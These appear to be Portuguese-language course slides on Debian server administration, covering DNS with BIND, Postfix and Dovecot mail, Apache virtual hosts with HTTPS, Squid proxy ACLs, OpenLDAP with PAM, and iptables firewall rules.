 A (Address) - Endereço IP (IPV4); 
 AAAA (Address) - Endereço IP (IPV6); 
 PTR (Pointer) – Configuração de reverso; 
 
 
 
 
 
Consultas 
# aptitude install dnsutils 
 
# dig -t ns uol.com.br 
 
# dig -t mx uol.com.br 
 
# dig -t ns google.com.br 
 
# dig -t mx gmail.com 
 
# dig -t any uol.com.br 
 
# dig -t mx trainingtecnologia.com.br 
 
# dig -t ns trainingtecnologia.com.br 
 
 
Berkley Internet Name Domain 
# aptitude install bind9 
 
# vim /etc/resolv.conf 
 
nameserver 127.0.0.1 
 
# chattr +i /etc/resolv.conf 
 
# lsattr /etc/resolv.conf 
 
# chattr -i /etc/resolv.conf 
 
 
 
 
 
Servidor de cache 
 Um sistema DNS cache only é útil quando queremosapenas 
resolver nomes externos com economia de banda. Vamos restringir 
que o uso do servidor será somente para nossa rede. 
 
# vim /etc/bind/named.conf.options 
options { 
 
 directory "/var/cache/bind"; 
 allow-query { 127.0.0.0/8; 192.168.0.0/24;}; 
}; 
 
# named-checkconf 
 
# /etc/init.d/bind9 restart 
 
 
Configurando as zonas 
 
Vamos criar uma zona do seu domínio e o reverso para o servidor 
de e-mail: 
 
# vim /etc/bind/named.conf.local 
 
zone "seunome.com.br" { 
 type master; 
 file "db.seunome"; 
 }; 
 
zone "0.168.192.in-addr.arpa" { 
 type master; 
 file "rev.seunome"; 
 }; 
 
# named-checkconf 
 
 
Configurando as zonas 
# vim /var/cache/bind/db.seunome 
$TTL 604800 
@ IN SOA ns1.seunome.com.br. ti.seunome.com.br. ( 
 2011082501; Serial 
 1H; Slave 
 15M; Indisponível 
 1W; Tempo que fica tentando comunicar com o master 
 1D ); Cache negativo 
@ IN NS ns1.seunome.com.br. 
@ IN MX 10 mail.seunome.com.br. 
@ IN MX 15 mail2.seunome.com.br. 
ns1 IN A 172.16.18.X 
mail IN A 172.16.18.X 
pop IN CNAME mail 
smtp IN CNAME mail 
www IN A 172.16.18.X 
noticias IN CNAME www 
@ IN A 172.16.18.X 
 
 
 
Configurando reverso 
# vim /var/cache/bind/rev.seunome 
 
 
$TTL 604800 
@ IN SOA ns1.seunome.com.br. ti.seunome.com.br. ( 
 2011082501; Serial 
 1H; Slave 
 15M; Indisponível 
 1W; Tempo q fica tentando comunicar com o master 
 1D ); Cache negativo 
 
@ IN NS ns1.seunome.com.br. 
X IN PTR mail.seunome.com.br. 
 
 
 
 
 
 
Testando o servidor 
# /etc/init.d/bind9 restart 
 
# netstat -puan | grep 53 
 
# ping mail.seunome.com.br 
 
# ping www.seunome.com.br 
 
# dig -t ns seunome.com.br 
 
# dig -t mx seunome.com.br 
 
 
 
 
Testando o reverso 
# ping mail.seunome.com.br 
 
# dig -x 192.168.0.X 
 
;; QUESTION SECTION: 
;X.0.168.192.in-addr.arpa. IN PTR 
 
;; ANSWER SECTION: 
X.0.168.192.in-addr.arpa. 604800 IN PTR mail.seunome.com.br. 
 
;; AUTHORITY SECTION: 
0.168.192.in-addr.arpa. 604800 IN NS ns1.seunome.com.br. 
 
;; ADDITIONAL SECTION: 
ns1.seunome.com.br. 604800 IN A 172.16.18.X 
Configurando o servidor slave 
 
 Vamos configurar o nosso DNS secundário, usando o servidor 
BIND do nosso colega. 
# vim /etc/bind/named.conf.local 
 
zone "nomeamigo.com.br" { 
 type slave; 
 masters {172.16.18.X; }; 
 file "db.nomeamigoslave"; 
 }; 
 
 
# named-checkconf 
 
# /etc/init.d/bind9 restart 
 
# ls /var/cache/bind/ 
 
 
Restringindo o slave 
# vim /etc/bind/named.conf.local 
 
 
zone “seunome.com.br” { 
 type master; 
 allow-transfer { 172.16.18.X; }; 
 also-notify { 172.16.18.X; }; 
 file “db.seunome” ; 
}; 
 
# named-checkconf 
 
# /etc/init.d/bind9 restart 
 
FIM 
Servidor de e-mail 
25/tcp - smtp 110/tcp – pop3 
MTA MTA 
MUA MUA 
MTA = Mail Transfer Agent 
 
25/tcp 
Qmail 
MDA 
MUA = Mail User Agent 
MDA = Mail Delivery Agent 
465/tcp - smtps 
587/tcp - subimission 
Postfix 
Sendmail 
995/tcp – pop3s 
143/tcp – imap 
993/tcp – imaps 
 Criado em 1996 por Witse Unema (Pesquisador da IBM). 
 Surgiu para substituir o sendmail, devido sua complexidade 
de configuração e falhas de segurança. 
 Escreveu um servidor do zero, modular e pensando em 
segurança. 
 Facilidade de configuração. 
 Todo código foi pensando em segurança. 
 
 
 
Instalando o servidor 
# aptitude install postfix 
 
# cd /etc/postfix 
 
# vim master.cf 
 
smtp inet n - n - - smtpd 
#submission inet n - - - - smtpd 
# -o smtpd_tls_security_level=encrypt 
# -o smtpd_sasl_auth_enable=yes 
# -o smtpd_client_restrictions=permit_sasl_authenticated,reject 
# -o milter_macro_daemon_name=ORIGINATING 
#smtps inet n - - - - smtpd 
# -o smtpd_tls_wrappermode=yes 
# -o smtpd_sasl_auth_enable=yes 
# -o smtpd_client_restrictions=permit_sasl_authenticated,reject 
# -o milter_macro_daemon_name=ORIGINATING 
 
 
 
 
Instalando o servidor 
# /etc/init.d/postfix restart 
# netstat -tupan | grep 465 
# netstat -tupan | grep 587 
 
# mv main.cf main.cf.old 
# vim main.cf 
 
append_dot_mydomain = yes 
delay_warning_time = 4h 
mydomain = seunome.com.br 
myhostname = mail.seunome.com.br 
alias_maps = hash:/etc/aliases 
alias_database = hash:/etc/aliases 
mydestination = seunome.com.br, localhost, mail.seunome.com.br 
relayhost = 
mynetworks = 127.0.0.0/8, 192.168.0.0/24 
inet_interfaces = all 
#home_mailbox = Maildir/ 
#mail_spool_directory = /home/ 
 
 
Grupos e redirecionamentos de e-mails 
# vim /etc/aliases 
 
rh: maria, joao 
suporte: carlos, pedro, tom@email.com.br 
antonio: antonio, rodolfo 
tiago: cesar 
 
# newaliases 
 
→ /etc/aliases.db 
 
Testando o servidor 
# /etc/init.d/postfix restart 
# telnet localhost 25 
helo mail.seunome.com.br 
mail from: diretoria@tom.com.br 
rcpt to: aluno@seunome.com.br 
data 
subject: Aumento de salário 
Prezados, a partir do ano que vem o salário será reajustado em 
250%. 
Kassab 
. 
quit 
 
# ls /var/mail 
 
 (Finaliza a mensagem) 
Maildir 
 
# vim /etc/postfix/main.cf 
 
append_dot_mydomain = yes 
delay_warning_time = 4h 
mydomain = seunome.com.br 
myhostname = mail.seunome.com.br 
alias_maps = hash:/etc/aliases 
alias_database = hash:/etc/aliases 
mydestination = seunome.com.br, localhost, mail.seunome.com.br 
relayhost = 
mynetworks = 127.0.0.0/8, 172.16.18.0/24 
inet_interfaces = all 
home_mailbox = Maildir/ 
mail_spool_directory = /home/ 
 
# /etc/init.d/postfix restart 
 
 
Testando o Maildir 
# /etc/init.d/postfix restart 
# telnet localhost 25 
helo mail.seunome.com.br 
mail from: diretoria@tom.com.br 
rcpt to: aluno@seunome.com.br 
data 
subject: Testando maildir 
Esse e-mail vai no formato maildir 
. 
quit 
 
# ls /home/aluno/Maildir/new 
 
 (Finaliza a mensagem) 
Mail Delivery Agent 
# aptitude install dovecot-imapd dovecot-pop3d 
 
# vim /etc/dovecot/dovecot.conf 
 
25 protocols = imap imaps pop3 pop3s 
224 mail_location = maildir:~/Maildir 
 
# /etc/init.d/dovecot restart 
# /etc/init.d/postfix restart 
 
# netstat -putan | grep 110 
# netstat -putan | grep 995 
# netstat -putan | grep 143 
# netstat -putan | grep 993 
 
 
 
Mail User Agent 
Aplicações > Internet > Icedove Email 
# aptitude install icedove icedove-l10n-pt-br 
FIM 
Características 
 OpenSource 
 65% dos sites públicos rodam em Apache segundo a 
netcraft. 
 Suporta váriaslinguagens (PHP, Python, Perl, Asp,etc); 
 Multiplataforma; 
 Extensível através de módulos; 
 Permite hospedar vários sites no mesmo servidor; 
 
 
 
Como funciona? 
Instalando o servidor 
# aptitude install apache2 
 
Browser → http://127.0.0.1 
/etc/httpd/conf/httpd.conf 
Segurança 
 Quando o apache não encontra uma página, ela mostra a 
mensagem “Not Found” e também a versão do seu apache e do 
sistema operacional, vamos desabilitar essa mensagem: 
 
Browser → http://127.0.0.1/asas 
 
# vim /etc/apache2/conf.d/security 
 
27 ServerTokens Prod 
39 ServerSignature Off 
 
# /etc/init.d/apache2 restart 
 
Browser → http://127.0.0.1/asas 
 
 
Suporte ao PHP5 
# aptitude install php5 
 
Para ativar o módulo: 
# a2enmod php5 
 
Vamos testar o suporte ao php: 
# vim /var/www/index.php 
 
<?php 
 phpinfo(); 
?> 
 
# /etc/init.d/apache2 restart 
Browser → http://127.0.0.1/index.php 
 
Vários sites sobre o mesmo IP 
 O Apache permite hospedar vários sites no mesmo servidor, recurso 
chamado de virtual hosts. Apenas os sites mais acessados são 
capazes de saturar os recursos de um servidor dedicado de 
configuração razoável, por isso hospedar vários sites no mesmo 
servidor é uma forma de economizar recursos e trabalho. 
Criando seu primeiro site 
# vim /etc/apache2/sites-available/seunome.com.br 
<VirtualHost www.seunome.com.br:80> 
DocumentRoot /var/www/seunome.com.br 
ServerName www.seunome.com.br 
ServerAlias www.seunome.com.br seunome.com.br 
ServerAdmin webmaster@seunome.com.br 
ErrorLog /var/log/apache2/seunome.com.br-error.log 
CustomLog /var/log/apache2/seunome.com.br-access.log 
common 
</VirtualHost> 
 
 Home page 
 Crie o diretório aonde ficará o site: 
# mkdir /var/www/seunome.com.br 
 Dentro do diretório recém criado, crie um arquivo 
chamado index.html e desenvolva seu site: 
# vim /var/www/seunome.com.br/index.html 
<html> 
<title> Home page </title> 
<body> 
 Funcionando!!! 
</body> 
</html> 
 Colocando o site no ar 
Verifique se há algum erro de sintaxe em algum 
virtual host: 
# apache2ctl configtest 
 
Habilite o seu site: 
# a2ensite seunome.com.br 
 
Carregando apenas seus arquivos de configuração: 
# /etc/init.d/apache2 reload 
 
Teste no seu browser: 
http://www.seunome.com.br 
 
HTTPS 
Vamos instalar a ferramenta para gerar os 
certificados: 
# aptitude install openssl 
 
Habilite o módulo: 
# a2enmod ssl 
 
# cd /etc/ssl 
 
Crie a chave 
# openssl genrsa -out seunome.key 1024 
 
 
HTTPS 
Crie o certificado que será enviado para entidade 
certificadora: 
# openssl req -new -key seunome.key -out 
seunome.csr 
 
E por último vamos validar o certificado: 
# openssl x509 -req -days 365 -in seunome.csr 
-signkey seunome.key -out seunome.crt 
 # vim /etc/apache2/sites-available/seunome.com.br 
 
 <VirtualHost www.seunome.com.br:443> 
 DocumentRoot /var/www/seunome.com.br 
 ServerName www.seunome.com.br 
 ServerAdmin webmaster@seunome.com.br 
 ErrorLog /var/log/apache2/seunome.com.br-error.log 
 CustomLog /var/log/apache2/seunome.com.br-
access.log common 
 SSLEngine on 
 SSLCertificateFile /etc/ssl/seunome.crt 
 SSLCertificateKeyFile /etc/ssl/seunome.key 
 </VirtualHost> 
Seu site com suporte a ssl 
Seu site com suporte a ssl 
Verifique se há algum erro de sintaxe em algum virtual host: 
# apache2ctl configtest 
 
 
Carregando apenas seus arquivos de configuração: 
# /etc/init.d/apache2 reload 
 
Teste no seu browser: 
https://www.seunome.com.br 
 
Redirecionamento 
 Vamos fazer com que sempre que acessar a pagina, já 
acesse direto o https: 
 
 
Habilite o módulo responsável pelo redirecionamento: 
# a2enmod rewrite 
 
 
Habilite no seu site o redirecionamento: 
# vim /etc/apache2/sites-available/seunome.com.br 
 
 
 
 
Redirecionamento 
<VirtualHost www.seunome.com.br:80> 
ServerName www.seunome.com.br 
ServerAlias seunome.com.br www.seunome.com.br 
DocumentRoot /var/www/se unome 
ErrorLog /var/log/httpd/seunome.com.br-error.log 
CustomLog /var/log/httpd/seunome.com.br-access.log common 
RewriteEngine On 
rewriteRule / https://www.seunome.com.br 
</VirtualHost> 
 
# apache2ctl configtest 
 
# /etc/init.d/apache2 restart 
 
Teste no seu browser: 
http://www.seunome.com.br 
 
 
FIM 
PROXY 
Como surgiu 
 No começo da internet, a velocidade do link era muito 
baixa, as maiores empresas tinham 128kbps. 
 Pagava-se pelo que usava (custo alto para as empresas). 
 Bloquear o acesso dos usuários a determinadas páginas da 
internet. 
 Controlar o que os usuários estão acessando. 
 Registros de acessos, para questões judiciais. 
 
 
Como funciona? 
Instalação e configuração 
# aptitude install squid 
 
# cd /etc/squid 
 
# mv squid.conf squid.conf.old 
 
# vim squid.conf 
 
http_port 3128 
visible_hostname seunome.com.br 
error_directory /usr/share/squid/errors/Portuguese 
cache_dir ufs /var/spool/squid 2048 128 256 
acl all src 0.0.0.0/0.0.0.0 
http_access allow all 
 
 
Configuração 
# squid -k parse 
# squid -z 
# squid -k reconfigure 
 
Configure o seu browser e teste o squid: 
 
Tipos de acl's: 
 
src → ip de origem 
dst → ip de destino 
time → define horário 
urlpath_regex → depois do /carros (não pega icarros.com.br) 
url_regex → palavra-chave 
dstdomain → domínio hotmail.com (hotmail.com.br) 
proxy_auth → regras de autenticação 
 
 
 
Configuração 
# vim /etc/squid/squid.conf 
 
#Memoria para arquivos html e imagens pequenas 
cache_mem 128 MB 
 
 
#Tamanho máximo dos arquivos na memoria 
maximum_object_size_in_memory 128 KB 
 
 
#Máximo de download em disco 
maximum_object_size 512 MB 
minimum_object_size 0 KB 
 
 
Configuração 
#Logs de acesso 
access_log /var/log/squid/access.log squid 
 
 
# Reduzindo cache 
cache_swap_low 60 
cache_swap_high 90 
 
 
# Conectividade social 
acl site dstdomain .caixa.gov.br 
always_direct allow site 
 
 
 
 
 
Configuração 
#ACLS 
acl all src 0.0.0.0/0 
acl inter dstdomain .com 
acl globo dstdomain .globo.com 
acl rede src 172.16.18.0/24 127.0.0.1/32 
 
#Acessos 
 
http_access allow rede globo 
http_access deny rede inter 
http_access allow rede 
http_access deny all 
 
# squid -k parse 
 
# squid -k reconfigure 
 
 
 
Bloqueando downloads e redes sociais. 
# vim /etc/squid/squid.conf 
 
#acls 
acl redesocial url_regex -i “/etc/squid/redesocial” 
acl downloads url_regex -i “/etc/squid/down" 
 
#Acessos (colocar acima de todos) 
 
http_access deny rede redesocial 
http_access deny rede downloads 
http_access allow rede inter 
 
 
# vim /etc/squid/redesocial 
facebook 
orkut 
 
Bloqueando downloads e redes sociais. 
# vim /etc/squid/down 
 
\.avi 
\.exe 
\.mp3 
\.torrent 
\.rar 
\.zip 
\.flv 
\.mp4 
 
# squid -k parse 
 
# squid -kreconfigure 
 
Faça um teste no seu browser 
 
ACESSO POR HORÁRIO 
# vim /etc/squid/squid.conf 
 
acl almoco time 12:00-13:00 
 
http_access allow rede redesocial almoco 
 
 
# squid -k parse 
 
# squid -k reconfigure 
 
 
PROXY AUTENTICADO 
# vim /etc/squid/squid.conf 
 
auth_param basic realm “Coloque login e senha” 
auth_param basic program /usr/lib/squid/ncsa_auth /etc/squid/passwd 
auth_param basic children 30 
auth_param basic credentialsttl 1 hour 
 
# ACLs 
acl gerentes proxy_auth -i "/etc/squid/gerentes" 
acl funcionarios proxy_auth -i "/etc/squid/funcionarios" 
 
# Acessos 
 
http_access deny funcionarios redesocial 
http_access allow funcionarios 
http_access allow gerentes 
 
 
 
PROXY AUTENTICADO 
# htpasswd -c /etc/squid/passwd joao 
 
# htpasswd /etc/squid/passwd maria 
 
 
# vim /etc/squid/gerentes 
joao 
 
# vim /etc/squid/funcionarios 
maria 
 
# squid -k parse 
 
# squid -k reconfigure 
Relatórios 
# aptitude install sarg 
 
# vim /etc/apache2/sites-enabled/seunome.com.br 
 
 # RewriteEnginge 
 # rewriteRule 
 
# /etc/init.d/apache2 restart 
 
# sarg 
 
No browser 
http://127.0.0.1/squid-reports 
 
 
 
FIM 
c → country (país) 
 
st → stateOrProvinceName (estado) 
 
l → localityName (cidade) 
 
street → streetAddress (endereço) 
 
o → organizationName (organização) 
 
ou → orgnizationUnit (unidade organizacional) 
 
dc → domainComponent (domínio) 
 
cn → commonName 
Como funciona? 
Como funciona? 
Como funciona? 
cn=Tom Oliveira,ou=Consultoria,dc=empresa,dc=com,dc=br 
Instalação e configuração 
# aptitude install slapd ldap-utils 
 
Arquivos de configuração 
 
→ /etc/ldap/slapd.d 
 
# cd /etc/ldap 
 
# mv slapd.d slapd.d.old 
 
 
# vim /etc/ldap/slapd.conf 
Configuração 
# Versão de protocolo utilizado para conexão pelos clientes 
allow bind_v2 
 
# Schemas e definições de classes de objeto 
include /etc/ldap/schema/core.schema 
include /etc/ldap/schema/cosine.schema 
include /etc/ldap/schema/nis.schema 
include /etc/ldap/schema/inetorgperson.schema 
 
# Arquivos de controle dos processos do servidor slapd 
pidfile /var/run/slapd/slapd.pid 
argsfile /var/run/slapd/slapd.args 
 
# Módulos 
modulepath /usr/lib/ldap 
moduleload back_bdb 
 
Configuração 
# Parâmetros específicos do tipo de base 
backend bdb 
 
# Base de dados 
database bdb 
 
# Estrutura do Diretório e administrador 
suffix "dc=microx,dc=com,dc=br" 
rootdn "cn=admin,dc=microx,dc=com,dc=br" 
rootpw senhasecreta 
 
# Local de armazenamento dos dados 
directory /var/lib/ldap 
 
 
Vamos aproveitar e criptografar a senha do usuário admin: 
 
 # slappasswd 
 
 Copie a senha e altere o slapd.conf: 
 
 # vim /etc/ldap/slapd.conf 
 
rootpw {SSHA}ytOsI6civGOGLskcKK0/gTIQDcor93jJ 
 
Reinicie o serviço e verifique se o OpenLDAP está rodando: 
 
# /etc/init.d/slapd restart 
 
# netstat -tupan | grep 389 
 
 
Configuração 
LDAP Data Interchange Format 
 A inserção de novos dados nesta base se dá por meio de um 
arquivo-texto, contendo as informações necessárias a serem 
incluídas. Este arquivo deve seguir um formato específico 
chamado LDIF. 
 
 Para o cadastramento de uma entrada para um domínio, usuário 
ou grupo, devemos informar, além dos dados referentes a cada 
um desses, quais dados poderão fazer parte da entrada. Tál 
definição é feita por meio de um atributo chamado objectClass. 
 
dcObject → cadastrar o topo da arvore 
organizationalUnit → para criação de uma unidade organizacional. 
InetOrgPerson → para usuários. 
Criando a base do ldap 
Vamos criar um diretório só para colocar nossos arquivos ldifs: 
 
# mkdir /etc/ldap/ldifs; cd /etc/ldap/ldifs 
 
Crie o ldif da base e o administrador do no OpenLDAP: 
 
# vim base.ldif 
dn: dc=microX,dc=com,dc=br 
objectclass: dcObject 
objectclass: organization 
o: microX Ltda 
dc: microX 
 
dn: cn=admin,dc=microX,dc=com,dc=br 
objectclass: organizationalRole 
cn: admin 
 
 
Adicionando conteúdo na base do OpenLDAP 
# ldapadd -f base.ldif -x -D "cn=admin,dc=microX,dc=com,dc=br" -W 
 
-f → indica o nome do arquivo a ser processado 
-x → autenticação simples 
-D → usuário que estará fazendo a operação 
-W → Solicita a senha para executar o comando 
 
Busca na base 
 
# vim /etc/ldap/ldap.conf 
 
BASE dc=microX,dc=com,dc=br 
HOST 127.0.0.1 
 
# ldapsearch -x 
 
Criando uma Unidade Organizacional 
 Vamos criar duas OU uma com o nome grupos e outra como 
usuários: 
 
# vim grupos.ldif 
 
dn: ou=grupos,dc=microX,dc=com,dc=br 
ou: grupos 
objectClass: top 
objectClass: organizationalUnit 
 
# vim usuarios.ldif 
 
dn: ou=usuarios,dc=microX,dc=com,dc=br 
ou: usuarios 
objectClass: top 
objectClass: organizationalUnit 
 
Adicionando conteúdo na base do OpenLDAP 
 Adicione as “OU” na base do openldap: 
 
# ldapadd -f grupos.ldif -x -D "cn=admin,dc=microX,dc=com,dc=br" -W 
# ldapadd -f usuarios.ldif -x -D "cn=admin,dc=microX,dc=com,dc=br" -W 
 
 Verifique se o conteúdo foi adicionado: 
 
# ldapsearch -x 
 
Adicionando um grupo no OpenLDAP 
 
 Vamos criar um arquivo ldif para adicionar um grupo: 
 
# vim addgroup.ldif 
 
dn: cn=allusers,ou=grupos,dc=microX,dc=com,dc=br 
objectClass: posixGroup 
objectClass: top 
cn: allusers 
description: grupos com todos os usuarios 
memberUid: usuario1 
gidNumber: 10000 
 
Adiciona esse conteúdo na base do openldap: 
 
# ldapadd -f addgroup.ldif -x -D "cn=admin,dc=microX,dc=com,dc=br" -W 
 
# ldapsearch -x 
Adicionando um usuário no OpenLDAP 
# vim adduser.ldif 
dn: uid=usuario1,ou=usuarios,dc=microX,dc=com,dc=br 
givenName: usuario 
sn: da Silva 
cn: Usuario da Silva 
uid: usuario1 
uidNumber: 10000 
gidNumber: 10000 
homeDirectory: /home/usuario1 
objectClass: inetOrgPerson 
objectClass: posixAccount 
objectClass: top 
objectClass: shadowAccount 
loginShell: /bin/bash 
userPassword: {SSHA}yCsd+FmVw7I63cV5HKlYBCknmmG6oqt5 
 
# ldapadd -f adduser.ldif -x -D "cn=admin,dc=microX,dc=com,dc=br" -W 
 
# ldapsearch -x 
Autenticando o Linux na base do OpenLDAP 
Instalação e Configuração 
Vamos instalar os pacotes necessários e fazer as devidas 
configurações: 
 
# aptitude install libpam-ldap libnss-ldap nscd 
 
# vim /etc/nsswitch.conf: 
 
passwd: compat ldap 
group: compat ldap 
shadow: compat ldap 
 
# mv /etc/libnss-ldap.conf /etc/libnss-ldap.conf.ori 
 
 
 
 
Configuração 
# vim /etc/libnss-ldap.conf 
 
host 127.0.0.1 
base dc=microX,dc=com,dc=br 
ldap_version 2 
rootbinddn cn=admin,dc=microX,dc=com,dc=br 
 
Coloque a senha em outro arquivo: 
 
# echo -n "123456" > /etc/libnss-ldap.secret 
# chmod 600 /etc/libnss-ldap.secret 
 
 
 
 
 
Configuração 
# mv /etc/pam_ldap.conf /etc/pam_ldap.conf.ori 
 
# vim /etc/pam_ldap.conf 
host 127.0.0.1 
base dc=microX,dc=com,dc=br 
ldap_version 2 
rootbinddn cn=admin,dc=microx,dc=com,dc=brpam_password md5 
 
# echo -n "123456" > /etc/pam_ldap.secret 
# chmod 600 /etc/pam_ldap.secret 
 
Testar usuários: 
 
# getent passwd 
# getent group 
Configuração 
 O último passo é configurar o PAM para que ele, durante o processo de 
autenticação dos usuários, consulte o servidor LDAP. Isto é feito no 
diretório /etc/pam.d editando os arquivos: 
 
# vim /etc/pam.d/common-account 
 
account sufficient pam_ldap.so 
account required pam_unix.so try_first_pass 
 
# vim /etc/pam.d/common-auth 
 
auth required pam_nologin.so 
auth required pam_env.so 
auth sufficient pam_ldap.so 
auth required pam_unix.so nullok_secure try_first_pass 
Configuração 
# vim /etc/pam.d/common-session 
 
session required pam_mkhomedir.so skel=/etc/skel 
umask=0022 silent 
session sufficient pam_unix.so 
 
# vim /etc/pam.d/common-password 
password sufficient pam_ldap.so 
password required pam_unix.so nullok obscure md5 
 
Reinicie o serviço nscd: 
# /etc/init.d/nscd restart 
 
 
 
 
FIM 
FIREWALL 
IPTABLES 
Firewall é um quesito de segurança com cada vez mais importância no 
mundo da computação. À medida que o uso de informações e 
sistemas é cada vez maior, a proteção destes requer a aplicação de 
ferramentas e conceitos de segurança eficientes. O sistema 
GNU/Linux com Kernel série 2.4 e 2.6 trabalham com o Iptables para 
fazer o gerencialmento de regras de Firewall. Lembrando que o 
iptables é apenas um Front-End que gerencia o suporte ao netfilter no 
kernel. 
 
 
 
 
 
 
 
 
Iptables/NetFilter 
 
 NetFilter é o responsável por filtrar os pacotes no Kernel. 
 Iptables é o binário que manipula as tabelas do NetFilter. 
 
 
As principais tabelas do iptables são: 
 Filter 
 Nat 
 
 
 
 
 
 
 CHAINS 
 
 Tabela Filter 
 – INPUT - Regras de entrada de pacotes. 
 – OUTPUT - Regras de saída de pacotes. 
 – FORWARD - Regras de passagem de pacotes pelo firewall de uma 
rede para outra. 
 
 Tabela NAT 
 – PREROUTING - Regras que serão processadas antes do 
roteamento dos pacotes nas interfaces do firewall. 
 – POSTROUTING - Regras que serão processadas pós roteamento 
dos pacotes nas interfaces do firewall. 
 
 
 
 
 
E como o kernel lida com tudo isso? 
IMPLEMENTANDO FIREWALL 
 A metodologia utilizada para implementação do firewall será a seguinte: Iremos negar 
todo o tráfego para as CHAINS de INPUT, OUTPUT e FORWARD da tabela filter, 
posteriormente iremos definir a relação dos serviços que devem ser liberados no firewall, 
a estes, iremos chamar de exceções. Todo o tráfego de pacotes que as nossas 
exceções não cobrir serão bloqueado por padrão. Ou seja, o que for oficialmente 
permitido já está expressamente negado. 
 
Verifique as políticas básicas configuradas: 
 
# iptables -nL 
# iptables -t nat -nL 
 
Modifique todas as políticas básicas para DROP: 
# iptables -P INPUT DROP 
# iptables -P OUTPUT DROP 
# iptables -P FORWARD DROP 
 
 
 
 
 
 
 
LIBERANDO ACESSO DE LOOPBACK 
Verifique se a nova política foi assumida e faça um teste com o ping: 
 
# iptables -nL 
 
# ping 127.0.0.1 
 
Vamos definir uma política de exceção para a interface loopback: 
 
# iptables -A OUTPUT -d 127.0.0.1 -j ACCEPT 
 
# iptables -A INPUT -d 127.0.0.1 -j ACCEPT 
 
Liste as políticas: 
 
# iptables -nL 
 
# ping 127.0.0.1 
 
 
 
 
 
 
P.I.N.G!! 
Vamos criar uma regra que permita a comunicação de qualquer tipo de pacote ICMP. 
 
# ping 192.168.16.223 
 
# iptables -A OUTPUT -p icmp -s 192.168.16.X -d 0/0 -j ACCEPT 
 
# iptables -A INPUT -p icmp -s 0/0 -d 192.168.16.X -j ACCEPT 
 
# iptables -n -L 
 
# ping 192.168.16.223 
 
 
 
Resolução de Nomes 
Vamos criar uma regra quer permita a resolução de nomes: 
 
# ping www.uol.com.br 
 
# iptables -A OUTPUT -p udp -s 192.168.16.X --sport 1024:65535 -d 0/0 --dport 53 -j 
ACCEPT 
 
# iptables -A INPUT -p udp -s 0/0 --sport 53 
-d 192.168.16.X --dport 1024:65535 -j ACCEPT 
 
# iptables -n -L 
 
# ping www.uol.com.br 
Navegação Web 
Vamos criar uma regra quer permita a navegação Web: 
 
# iptables -A OUTPUT -p tcp -s 192.168.0.X --sport 1024:65535 
 -d 0/0 --dport 80 -j ACCEPT 
 
# iptables -A OUTPUT -p tcp -s 192.168.0.X --sport 1024:65535 
 -d 0/0 --dport 443 -j ACCEPT 
 
# iptables -A INPUT -p tcp -s 0/0 --sport 80 -d 192.168.0.X --dport 1024:65535 -j 
ACCEPT 
 
# iptables -A INPUT -p tcp -s 0/0 --sport 443 -d 192.168.0.X 
--dport 1024:65535 -j ACCEPT 
Liberar outros serviços 
Liberar ssh p/ firewall 
# iptables -A INPUT -p tcp --dport 22 -j ACCEPT 
 
Liberar saida do firewall 
# iptables -P OUTPUT ACCEPT 
 
Liberar squid p/firewall 
 # iptables -A INPUT -p tcp --dport 3128 -j ACCEPT 
 
Liberar email p/ zona da Rede Lan 
# iptables -A FORWARD -p tcp -m multiport --dport 25,110,143 -j ACCEPT 
 
# iptables -A FORWARD -p tcp -m multiport --sport 25,110,143 -j ACCEPT 
Roteamento 
Primeiramente, vamos habilitar o roteamento de pacotes entre as interfaces de rede: 
 
# sysctl -w net.ipv4.ip_forward=1 
 
 ou 
 
# echo 1 > /proc/sys/net/ipv4/ip_forward 
 
Se quiser deixar este valor fixo, edite o arquivo: 
 
# vim /etc/sysctl.conf 
 
net.ipv4.ip_forward=1 
 
 
Criando as regras de forward 
Crie as regras que permitam o recebimento e envio de pacotes encaminhados a sua 
rede: 
 
# iptables -A FORWARD -s 192.168.0.0/24 -j ACCEPT 
 
# iptables -A FORWARD -d 192.168.0.0/24 -j ACCEPT 
 
E agora o NAT “mascarado”: 
 
# iptables -t nat -A POSTROUTING -o eth0 -s 192.168.0.0/24 -j MASQUERADE 
DICAS 
 Como percebemos, o iptables consultas as regras na sequência, 
caso você tenha necessidade de deletar a segunda regra criada 
digite: 
 
# iptables -nL --line-numbers 
 
# iptables -t filter -D INPUT 2 
 
Inserir uma regra, na quarta posição 
 
# iptables -I INPUT 4 -d 192.168.0.0/24 -j ACCEPT 
 
Sobrescrever a terceira regra: 
 
# iptables -R INPUT 3 -d 127.0.0.1 -p icmp -j DROP 
 
 
Backup e restore das regras 
Salve as regras: 
 
# iptables-save > /root/firewall.backup 
 
# cat /root/firewall.backup 
 
Limpe as regras: 
# iptables -F 
# iptables -F -t nat 
# iptables -nL 
Faça o restore e teste: 
# iptables-restore /root/firewall.backup 
# iptables -n -L 
# iptables -n -L -t nat 
 
 
 
 
 
FIM

Outros materiais